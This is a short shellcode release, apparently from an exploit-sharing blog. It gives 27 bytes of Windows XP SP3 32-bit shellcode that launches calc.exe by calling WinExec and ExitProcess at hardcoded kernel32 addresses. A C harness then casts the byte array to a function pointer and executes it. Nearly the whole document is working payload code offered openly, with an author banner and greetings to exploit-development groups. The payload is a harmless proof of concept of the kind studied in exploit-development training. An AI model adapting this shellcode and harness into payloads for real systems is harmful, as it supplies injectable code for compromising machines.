27 Bytes – Windows XP SP3 (en) calc win32 Shellcode

/*

==========================================================================
___ _ __ __ __ _ __
____/ (_)___ _(_) /_____ _/ / ___ _____/ /_ (_)___/ /___ ____ _
/ __ / / __ `/ / __/ __ `/ /_____/ _ / ___/ __ / / __ / __ / __ `/
/ /_/ / / /_/ / / /_/ /_/ / /_____/ __/ /__/ / / / / /_/ / / / / /_/ /
__,_/_/__, /_/__/__,_/_/ ___/___/_/ /_/_/__,_/_/ /_/__,_/
/____/ http://www.digital-echidna.org

==========================================================================

Title : Windows XP SP3 (EN) 32-bit - calc Shellcode 27 bytes
Author : otoy
Tested on : WinXP Pro SP3 (EN) 32 bit
Greetz :
say hello to all digital-echidna org crew:
modpr0be, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix

special thx to offsec, exploit-db and corelan team */

/*shellcodetest.c*/

char code[] =
"\x31\xc0\x50\x68\x63"
"\x61\x6c\x63\x89\xe3"
"\x50\x53\xbb"
"\xfd\x29\x86\x7c" /*Kernel32.dll.WinExec*/
"\xff\xd3\x50\xbb"
"\xfa\xca\x81\x7c" /*Kernel32.dll.ExitProcess*/
"\xff\xd3";

int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}

 

Leave a Reply

Your email address will not be published. Required fields are marked *